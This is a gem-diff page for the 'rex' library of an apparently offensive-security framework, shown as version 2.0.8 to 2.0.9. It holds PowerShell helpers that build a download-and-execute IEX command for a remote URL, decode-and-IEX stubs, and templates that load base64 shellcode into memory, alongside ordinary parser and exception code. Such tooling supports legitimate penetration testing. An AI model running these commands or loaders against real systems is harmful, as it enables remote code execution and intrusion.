rex 2.0.8 → 2.0.9
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -4,7 +4,6 @@ require 'zlib'
|
|
4
4
|
require 'rex/text'
|
5
5
|
|
6
6
|
module Rex
|
7
|
-
module Exploitation
|
8
7
|
module Powershell
|
9
8
|
module Output
|
10
9
|
#
|
@@ -53,7 +52,7 @@ module Powershell
|
|
53
52
|
|
54
53
|
# Build the powershell expression
|
55
54
|
# Decode base64 encoded command and create a stream object
|
56
|
-
psh_expression =
|
55
|
+
psh_expression = "$s=New-Object IO.MemoryStream(,"
|
57
56
|
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
58
57
|
# Read & delete the first two bytes due to incompatibility with MS
|
59
58
|
psh_expression << '$s.ReadByte();'
|
@@ -76,10 +75,18 @@ module Powershell
|
|
76
75
|
# Return Base64 encoded powershell code
|
77
76
|
#
|
78
77
|
# @return [String] Base64 encoded powershell code
|
79
|
-
def encode_code
|
78
|
+
def encode_code(eof = nil)
|
80
79
|
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
|
81
80
|
end
|
82
81
|
|
82
|
+
#
|
83
|
+
# Return ASCII powershell code from base64/unicode
|
84
|
+
#
|
85
|
+
# @return [String] ASCII powershell code
|
86
|
+
def decode_code
|
87
|
+
@code = Rex::Text.to_ascii(Rex::Text.decode_base64(code))
|
88
|
+
end
|
89
|
+
|
83
90
|
#
|
84
91
|
# Return a gzip compressed powershell code wrapped in decoder stub
|
85
92
|
#
|
@@ -96,7 +103,7 @@ module Powershell
|
|
96
103
|
|
97
104
|
# Build the powershell expression
|
98
105
|
# Decode base64 encoded command and create a stream object
|
99
|
-
psh_expression =
|
106
|
+
psh_expression = "$s=New-Object IO.MemoryStream(,"
|
100
107
|
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
101
108
|
# Uncompress and invoke the expression (execute)
|
102
109
|
psh_expression << 'IEX (New-Object IO.StreamReader('
|
@@ -148,4 +155,3 @@ module Powershell
|
|
148
155
|
end
|
149
156
|
end
|
150
157
|
end
|
151
|
-
end
|
@@ -0,0 +1,182 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
module Rex
|
4
|
+
module Powershell
|
5
|
+
module Parser
|
6
|
+
# Reserved special variables
|
7
|
+
# Acquired with: Get-Variable | Format-Table name, value -auto
|
8
|
+
RESERVED_VARIABLE_NAMES = [
|
9
|
+
'$$',
|
10
|
+
'$?',
|
11
|
+
'$^',
|
12
|
+
'$_',
|
13
|
+
'$args',
|
14
|
+
'$ConfirmPreference',
|
15
|
+
'$ConsoleFileName',
|
16
|
+
'$DebugPreference',
|
17
|
+
'$Env',
|
18
|
+
'$Error',
|
19
|
+
'$ErrorActionPreference',
|
20
|
+
'$ErrorView',
|
21
|
+
'$ExecutionContext',
|
22
|
+
'$false',
|
23
|
+
'$FormatEnumerationLimit',
|
24
|
+
'$HOME',
|
25
|
+
'$Host',
|
26
|
+
'$input',
|
27
|
+
'$LASTEXITCODE',
|
28
|
+
'$MaximumAliasCount',
|
29
|
+
'$MaximumDriveCount',
|
30
|
+
'$MaximumErrorCount',
|
31
|
+
'$MaximumFunctionCount',
|
32
|
+
'$MaximumHistoryCount',
|
33
|
+
'$MaximumVariableCount',
|
34
|
+
'$MyInvocation',
|
35
|
+
'$NestedPromptLevel',
|
36
|
+
'$null',
|
37
|
+
'$OutputEncoding',
|
38
|
+
'$PID',
|
39
|
+
'$PROFILE',
|
40
|
+
'$ProgressPreference',
|
41
|
+
'$PSBoundParameters',
|
42
|
+
'$PSCulture',
|
43
|
+
'$PSEmailServer',
|
44
|
+
'$PSHOME',
|
45
|
+
'$PSSessionApplicationName',
|
46
|
+
'$PSSessionConfigurationName',
|
47
|
+
'$PSSessionOption',
|
48
|
+
'$PSUICulture',
|
49
|
+
'$PSVersionTable',
|
50
|
+
'$PWD',
|
51
|
+
'$ReportErrorShowExceptionClass',
|
52
|
+
'$ReportErrorShowInnerException',
|
53
|
+
'$ReportErrorShowSource',
|
54
|
+
'$ReportErrorShowStackTrace',
|
55
|
+
'$ShellId',
|
56
|
+
'$StackTrace',
|
57
|
+
'$true',
|
58
|
+
'$VerbosePreference',
|
59
|
+
'$WarningPreference',
|
60
|
+
'$WhatIfPreference'
|
61
|
+
].map(&:downcase).freeze
|
62
|
+
|
63
|
+
#
|
64
|
+
# Get variable names from code, removes reserved names from return
|
65
|
+
#
|
66
|
+
# @return [Array] variable names
|
67
|
+
def get_var_names
|
68
|
+
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
69
|
+
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
70
|
+
end
|
71
|
+
|
72
|
+
#
|
73
|
+
# Get function names from code
|
74
|
+
#
|
75
|
+
# @return [Array] function names
|
76
|
+
def get_func_names
|
77
|
+
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
78
|
+
end
|
79
|
+
|
80
|
+
#
|
81
|
+
# Attempt to find string literals in PSH expression
|
82
|
+
#
|
83
|
+
# @return [Array] string literals
|
84
|
+
def get_string_literals
|
85
|
+
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
86
|
+
end
|
87
|
+
|
88
|
+
#
|
89
|
+
# Scan code and return matches with index
|
90
|
+
#
|
91
|
+
# @param str [String] string to match in code
|
92
|
+
# @param source [String] source code to match, defaults to @code
|
93
|
+
#
|
94
|
+
# @return [Array[String,Integer]] matched items with index
|
95
|
+
def scan_with_index(str, source = code)
|
96
|
+
::Enumerator.new do |y|
|
97
|
+
source.scan(str) do
|
98
|
+
y << ::Regexp.last_match
|
99
|
+
end
|
100
|
+
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
101
|
+
end
|
102
|
+
|
103
|
+
#
|
104
|
+
# Return matching bracket type
|
105
|
+
#
|
106
|
+
# @param char [String] opening bracket character
|
107
|
+
#
|
108
|
+
# @return [String] matching closing bracket
|
109
|
+
def match_start(char)
|
110
|
+
case char
|
111
|
+
when '{'
|
112
|
+
'}'
|
113
|
+
when '('
|
114
|
+
')'
|
115
|
+
when '['
|
116
|
+
']'
|
117
|
+
when '<'
|
118
|
+
'>'
|
119
|
+
else
|
120
|
+
fail ArgumentError, 'Unknown starting bracket'
|
121
|
+
end
|
122
|
+
end
|
123
|
+
|
124
|
+
#
|
125
|
+
# Extract block of code inside brackets/parenthesis
|
126
|
+
#
|
127
|
+
# Attempts to match the bracket at idx, handling nesting manually
|
128
|
+
# Once the balanced matching bracket is found, all script content
|
129
|
+
# between idx and the index of the matching bracket is returned
|
130
|
+
#
|
131
|
+
# @param idx [Integer] index of opening bracket
|
132
|
+
#
|
133
|
+
# @return [String] content between matching brackets
|
134
|
+
def block_extract(idx)
|
135
|
+
fail ArgumentError unless idx
|
136
|
+
|
137
|
+
if idx < 0 || idx >= code.length
|
138
|
+
fail ArgumentError, 'Invalid index'
|
139
|
+
end
|
140
|
+
|
141
|
+
start = code[idx]
|
142
|
+
stop = match_start(start)
|
143
|
+
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
144
|
+
delims.map { |x| x[1] = x[1] + idx + 1 }
|
145
|
+
c = 1
|
146
|
+
sidx = nil
|
147
|
+
# Go through delims till we balance, get idx
|
148
|
+
while (c != 0) && (x = delims.shift)
|
149
|
+
sidx = x[1]
|
150
|
+
x[0] == stop ? c -= 1 : c += 1
|
151
|
+
end
|
152
|
+
|
153
|
+
code[idx..sidx]
|
154
|
+
end
|
155
|
+
|
156
|
+
#
|
157
|
+
# Extract a block of function code
|
158
|
+
#
|
159
|
+
# @param func_name [String] function name
|
160
|
+
# @param delete [Boolean] delete the function from the code
|
161
|
+
#
|
162
|
+
# @return [String] function block
|
163
|
+
def get_func(func_name, delete = false)
|
164
|
+
start = code.index(func_name)
|
165
|
+
|
166
|
+
return nil unless start
|
167
|
+
|
168
|
+
idx = code[start..-1].index('{') + start
|
169
|
+
func_txt = block_extract(idx)
|
170
|
+
|
171
|
+
if delete
|
172
|
+
delete_code = code[0..idx]
|
173
|
+
delete_code << code[(idx + func_txt.length)..-1]
|
174
|
+
@code = delete_code
|
175
|
+
end
|
176
|
+
|
177
|
+
Function.new(func_name, func_txt)
|
178
|
+
end
|
179
|
+
end # Parser
|
180
|
+
end
|
181
|
+
end
|
182
|
+
|
@@ -0,0 +1,78 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
require 'rex/random_identifier_generator'
|
3
|
+
|
4
|
+
module Rex
|
5
|
+
module Powershell
|
6
|
+
module Payload
|
7
|
+
|
8
|
+
def self.read_replace_script_template(template_path, filename, hash_sub)
|
9
|
+
template_pathname = File.join(template_path, filename)
|
10
|
+
template = ''
|
11
|
+
File.open(template_pathname, "rb") {|f| template = f.read}
|
12
|
+
template % hash_sub
|
13
|
+
end
|
14
|
+
|
15
|
+
def self.to_win32pe_psh_net(template_path, code)
|
16
|
+
rig = Rex::RandomIdentifierGenerator.new()
|
17
|
+
rig.init_var(:var_code)
|
18
|
+
rig.init_var(:var_kernel32)
|
19
|
+
rig.init_var(:var_baseaddr)
|
20
|
+
rig.init_var(:var_threadHandle)
|
21
|
+
rig.init_var(:var_output)
|
22
|
+
rig.init_var(:var_codeProvider)
|
23
|
+
rig.init_var(:var_compileParams)
|
24
|
+
rig.init_var(:var_syscode)
|
25
|
+
rig.init_var(:var_temp)
|
26
|
+
|
27
|
+
hash_sub = rig.to_h
|
28
|
+
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
29
|
+
|
30
|
+
read_replace_script_template(template_path, "to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
31
|
+
end
|
32
|
+
|
33
|
+
def self.to_win32pe_psh(template_path, code)
|
34
|
+
hash_sub = {}
|
35
|
+
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
36
|
+
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
37
|
+
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
38
|
+
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
39
|
+
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
40
|
+
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
41
|
+
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
42
|
+
|
43
|
+
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
|
44
|
+
|
45
|
+
read_replace_script_template(template_path, "to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
46
|
+
end
|
47
|
+
|
48
|
+
#
|
49
|
+
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
|
50
|
+
# Tweaked by shellster
|
51
|
+
# Originally from PowerSploit
|
52
|
+
#
|
53
|
+
def self.to_win32pe_psh_reflection(template_path, code)
|
54
|
+
# Intialize rig and value names
|
55
|
+
rig = Rex::RandomIdentifierGenerator.new()
|
56
|
+
rig.init_var(:func_get_proc_address)
|
57
|
+
rig.init_var(:func_get_delegate_type)
|
58
|
+
rig.init_var(:var_code)
|
59
|
+
rig.init_var(:var_module)
|
60
|
+
rig.init_var(:var_procedure)
|
61
|
+
rig.init_var(:var_unsafe_native_methods)
|
62
|
+
rig.init_var(:var_parameters)
|
63
|
+
rig.init_var(:var_return_type)
|
64
|
+
rig.init_var(:var_type_builder)
|
65
|
+
rig.init_var(:var_buffer)
|
66
|
+
rig.init_var(:var_hthread)
|
67
|
+
|
68
|
+
hash_sub = rig.to_h
|
69
|
+
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
70
|
+
|
71
|
+
read_replace_script_template(template_path,
|
72
|
+
"to_mem_pshreflection.ps1.template",
|
73
|
+
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
74
|
+
end
|
75
|
+
|
76
|
+
end
|
77
|
+
end
|
78
|
+
end
|
@@ -1,7 +1,6 @@
|
|
1
1
|
# -*- coding: binary -*-
|
2
2
|
|
3
3
|
module Rex
|
4
|
-
module Exploitation
|
5
4
|
module Powershell
|
6
5
|
##
|
7
6
|
# Convenience methods for generating powershell code in Ruby
|
@@ -73,7 +72,22 @@ module Powershell
|
|
73
72
|
def self.ignore_ssl_certificate
|
74
73
|
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
|
75
74
|
end
|
75
|
+
|
76
|
+
#
|
77
|
+
# Use the default system web proxy and credentials to download a URL
|
78
|
+
# as a string and execute the contents as PowerShell
|
79
|
+
#
|
80
|
+
# @param url [String] string to download
|
81
|
+
#
|
82
|
+
# @return [String] PowerShell code to download a URL
|
83
|
+
def self.proxy_aware_download_and_exec_string(url)
|
84
|
+
var = Rex::Text.rand_text_alpha(1)
|
85
|
+
cmd = "$#{var}=new-object net.webclient;"
|
86
|
+
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
|
87
|
+
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
|
88
|
+
cmd << "IEX $#{var}.downloadstring('#{url}');"
|
89
|
+
cmd
|
90
|
+
end
|
76
91
|
end
|
77
92
|
end
|
78
93
|
end
|
79
|
-
end
|
@@ -4,7 +4,6 @@ require 'rex'
|
|
4
4
|
require 'forwardable'
|
5
5
|
|
6
6
|
module Rex
|
7
|
-
module Exploitation
|
8
7
|
module Powershell
|
9
8
|
class Script
|
10
9
|
attr_accessor :code
|
@@ -19,7 +18,7 @@ module Powershell
|
|
19
18
|
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
20
19
|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
|
21
20
|
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
|
22
|
-
:enum_for, :display, :tr_s!, :freeze, :gsub
|
21
|
+
:enum_for, :display, :tr_s!, :freeze, :gsub!, :split, :rindex, :<<, :<=>, :+, :lstrip!,
|
23
22
|
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
|
24
23
|
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
|
25
24
|
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
|
@@ -38,7 +37,7 @@ module Powershell
|
|
38
37
|
|
39
38
|
begin
|
40
39
|
# Open code file for reading
|
41
|
-
fd = ::File.new(code, 'rb')
|
40
|
+
fd = ::File.new(code || '', 'rb')
|
42
41
|
while (line = fd.gets)
|
43
42
|
@code << line
|
44
43
|
end
|
@@ -96,4 +95,3 @@ module Powershell
|
|
96
95
|
end # class Script
|
97
96
|
end
|
98
97
|
end
|
99
|
-
end
|
@@ -57,7 +57,7 @@ require 'rex/proto/smb/exceptions'
|
|
57
57
|
case self.handle.protocol
|
58
58
|
when 'ncacn_ip_tcp'
|
59
59
|
if self.socket.type? != 'tcp'
|
60
|
-
raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!"
|
60
|
+
raise ::Rex::Proto::DCERPC::Exceptions::InvalidSocket, "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!"
|
61
61
|
end
|
62
62
|
when 'ncacn_np'
|
63
63
|
if self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe
|
@@ -65,11 +65,11 @@ require 'rex/proto/smb/exceptions'
|
|
65
65
|
elsif self.socket.type? == 'tcp'
|
66
66
|
self.smb_connect()
|
67
67
|
else
|
68
|
-
raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!"
|
68
|
+
raise ::Rex::Proto::DCERPC::Exceptions::InvalidSocket, "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!"
|
69
69
|
end
|
70
70
|
# No support ncacn_ip_udp (is it needed now that its ripped from Vista?)
|
71
71
|
else
|
72
|
-
raise "Unsupported protocol : #{self.handle.protocol}"
|
72
|
+
raise ::Rex::Proto::DCERPC::Exceptions::InvalidSocket, "Unsupported protocol : #{self.handle.protocol}"
|
73
73
|
end
|
74
74
|
end
|
75
75
|
|
@@ -255,7 +255,7 @@ require 'rex/proto/smb/exceptions'
|
|
255
255
|
bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid)
|
256
256
|
end
|
257
257
|
|
258
|
-
raise 'make_bind failed' if !bind
|
258
|
+
raise ::Rex::Proto::DCERPC::Exceptions::BindError, 'make_bind failed' if !bind
|
259
259
|
|
260
260
|
self.write(bind)
|
261
261
|
raw_response = self.read()
|
@@ -264,11 +264,11 @@ require 'rex/proto/smb/exceptions'
|
|
264
264
|
self.last_response = response
|
265
265
|
if response.type == 12 or response.type == 15
|
266
266
|
if self.last_response.ack_result[context] == 2
|
267
|
-
raise "Could not bind to #{self.handle}"
|
267
|
+
raise ::Rex::Proto::DCERPC::Exceptions::BindError, "Could not bind to #{self.handle}"
|
268
268
|
end
|
269
269
|
self.context = context
|
270
270
|
else
|
271
|
-
raise "Could not bind to #{self.handle}"
|
271
|
+
raise ::Rex::Proto::DCERPC::Exceptions::BindError, "Could not bind to #{self.handle}"
|
272
272
|
end
|
273
273
|
end
|
274
274
|
|
@@ -132,6 +132,32 @@ class NoResponse < Error
|
|
132
132
|
end
|
133
133
|
end
|
134
134
|
|
135
|
+
class BindError < Error
|
136
|
+
def initialize(message=nil)
|
137
|
+
@message = message
|
138
|
+
end
|
139
|
+
|
140
|
+
def to_s
|
141
|
+
str = 'Failed to bind.'
|
142
|
+
if @message
|
143
|
+
str += " #{@message}"
|
144
|
+
end
|
145
|
+
end
|
146
|
+
end
|
147
|
+
|
148
|
+
class InvalidSocket < Error
|
149
|
+
def initialize(message=nil)
|
150
|
+
@message = message
|
151
|
+
end
|
152
|
+
|
153
|
+
def to_s
|
154
|
+
str = 'Invalid Socket.'
|
155
|
+
if @message
|
156
|
+
str += " #{@message}"
|
157
|
+
end
|
158
|
+
end
|
159
|
+
end
|
160
|
+
|
135
161
|
class InvalidPacket < Error
|
136
162
|
def initialize(message = nil)
|
137
163
|
@message = message
|